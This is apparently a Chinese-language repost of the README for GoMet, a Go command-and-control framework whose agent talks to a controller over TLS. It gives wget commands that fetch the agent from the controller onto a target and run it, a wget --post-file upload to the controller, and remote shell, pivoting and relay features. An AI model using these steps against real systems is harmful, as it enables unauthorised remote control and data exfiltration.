GoMet：Go编写的多平台Agent和控制器-白红宇

GoMet：Go编写的多平台Agent和控制器

阅读量：4172 次

发布时间：2019-05-26

本文共 3398 字，大约阅读时间需要 11 分钟。

GoMet是一个Go编写的多平台Agent和控制器。Agent通过TLS隧道与其控制器通信。

构建

安装 Go ().

克隆存储库

git clone git@github.com:gomet-app/GoMet.git

并编译 GoMet

cd GoMetgo build ./...go build .

基础使用

启动 GoMet

#> ./gomet    ____       __  __      _   / ___| ___ |  \/  | ___| |_  | |  _ / _ \| |\/| |/ _ \ __|  | |_| | (_) | |  | |  __/ |_   \____|\___/|_|  |_|\___|\__|                                     v0.0.1server > infoLocal listener: 0.0.0.0:8888Socks listener: 127.0.0.1:9050HTTP magic: khRoKbh3AZSHbixserver >server > helpCommands:  clear         清屏  exit          退出  generate      生成一个 agent  help          显示帮助信息  info          打印服务器信息  routes        列出 routes  sessions      列出 sessions

在目标系统上，下载相应操作系统和架构的Agent程序

wget https://
   
    :8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

控制器会自动使用正确的信息来构建 agent。

注意：“khRoKbh3AZSHbix”是由控制器随机生成的，在GoMet CLI中键入“info”以了更多关于它的内容。在本用例中，你必须添加 –no-check-certificate选项，因为默认TLS证书是自动签名的。

可用操作系统（参见 Golang GOOS）：

linuxdarwinwindowssolaris...

可用架构（参见 Golang GOARCH）：

386amd64armarm64...

启动 agent

chmod +x agent./agent

在 GoMet CLI 中，我们可以看到创建的新会话

server > New session 1 - 
   
     - 
    
     :
     
       - darwin/amd64

会话交互

server > sessions open 1session 1 > helpCommands:  cat           打印文件  clear         清屏  close         关闭 session  connect       连接一个本地端口到远端地址  download      下载文件  execute       执行命令  exit          返回到服务器  getuid        获取用户 Id  help          显示帮助信息  jobs          列出 jobs  listen        连接一个远程端口到本地地址  ls            列出文件  netstat       列出连接  ps            列出进程  pwd           获取当前目录  relay         中继侦听  shell         远程shell交互  streams       列出数据流  upload        上传文件session 1 >

TCP 转发

我们可以通过 agent TLS tunnel 双向转发 TCP 连接。

connec

在本地侦听端口（在控制器系统上）并将其转发到远程服务。

listen

在远程侦听端口（在代理系统上）并将其转发到本地服务。

Socks5 和 routing

我们可以在控制器上启用 Socks5 listener，以通过 agents 访问远程网络，并定义到不同会话的路由。

做一个中继

如果无法从目标系统访问控制器，我们可以在另一个 agent 上定义“中继”。然后我们可以像控制器本身一样通过中继访问控制器。

session 1 > relayRemote Address: 0.0.0.0:9999session 1 >

并从目标系统

wget https://
   
    :9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

与控制器共享文件

控制器可以共享文件。

复制共享目录中的文件并使用 magic URL 下载

wget https://
   
    :8888/khRoKbh3AZSHbix/my_file --no-check-certificate

我们还可以将文件上传到控制器

wget https://
   
    :8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file

使用 CL 生成 agent

server > generateOS: windowsArch: amd64Host: 
   
    :8888HTTP proxy:HTTPS proxy:Proxy username:Proxy password:Generated agent URL: https://
    
     :8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyatserver >

配置文件

默认配置文件位于 config/config.json 。

{  "listenAddr":"0.0.0.0:8888",  "socks": {    "enable": true,    "addr": "127.0.0.1:9050"  },  "api": {    "enable": false,    "addr": "127.0.0.1:9000"  }}

定义 tunnel

如果我们想通过隧道侦听，我们可以在配置文件中定义它。实际上只有SSH。

{  "listenAddr":"0.0.0.0:8888",  "socks": {    "enable": true,    "addr": "127.0.0.1:9050"  },  "tunnel": {    "listenAddr":"
   
    :8888",    "nodes": [      {        "type":"ssh",        "host": "
    
     :22",        "username": "user",        "password": "user"      },      {        "type":"ssh",        "host": "
     
      :22",        "username": "user",        "password": "user"      },      {        "type":"ssh",        "host": "
      
       :22",        "username": "user",        "password": "user"      }    ]  }}